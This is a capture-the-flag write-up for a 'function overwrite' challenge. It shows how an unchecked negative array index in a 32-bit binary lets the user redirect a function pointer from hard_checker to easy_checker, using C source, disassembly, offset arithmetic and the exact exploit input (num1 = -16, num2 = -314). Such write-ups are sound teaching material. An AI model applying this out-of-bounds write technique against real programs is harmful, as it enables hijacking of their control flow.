function overwrite¶
The program takes a story
(max. 127 characters as input), and passes it onto the function pointed to by check
\
In normal flow, check
points to hard_checker()
, which is impossible to pass by a 127-byte story \
On the other hand, easy_checker()
can be passed; so must find a way to overwrite check
to point to easy_checker()
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
Hint: Don't be so negative
We can pass appropriate negative value in num1
to overwrite check
Dump of assembler code for vuln()
:
.
.
0x080495df <+111>: call 0x8049180 <__isoc99_scanf@plt>
0x080495e4 <+116>: add esp,0x10
0x080495e7 <+119>: mov eax,DWORD PTR [ebp-0x8c]
if (num1 < 10)
0x080495ed <+125>: cmp eax,0x9
0x080495f0 <+128>: jg 0x8049614 <vuln+164>
fun[num1] += num2
0x080495f2 <+130>: mov eax,DWORD PTR [ebp-0x8c]
0x080495f8 <+136>: mov ecx,DWORD PTR [ebx+eax*4+0x80]
0x080495ff <+143>: mov edx,DWORD PTR [ebp-0x90]
0x08049605 <+149>: mov eax,DWORD PTR [ebp-0x8c]
0x0804960b <+155>: add edx,ecx
0x0804960d <+157>: mov DWORD PTR [ebx+eax*4+0x80],edx
check(story, strlen(story));
0x08049614 <+164>: mov esi,DWORD PTR [ebx+0x40]
0x0804961a <+170>: sub esp,0xc
0x0804961d <+173>: lea eax,[ebp-0x88]
0x08049623 <+179>: push eax
0x08049624 <+180>: call 0x8049140 <strlen@plt>
0x08049629 <+185>: add esp,0x10
0x0804962c <+188>: sub esp,0x8
0x0804962f <+191>: push eax
0x08049630 <+192>: lea eax,[ebp-0x88]
0x08049636 <+198>: push eax
0x08049637 <+199>: call esi
.
.
.
mov DWORD PTR [ebx+eax*4+0x80],edx
mov esi,DWORD PTR [ebx+0x40]
fun[]
is at ebx+0x80, checker
is at ebx+0x40 \
eax = -16 -> ebx+eax*4+0x80 = ebx+0x40
Got the location to overwrite, now what should be num2
to get the desired function overwrite? \
easy_checker()
is at 0x080492fc, hard_checker()
is at 0x08049436; difference = 314
Final input:
story
= 'A'*20 + '%' (65*20 + 37 = 1337)num1
= -16num2
= -314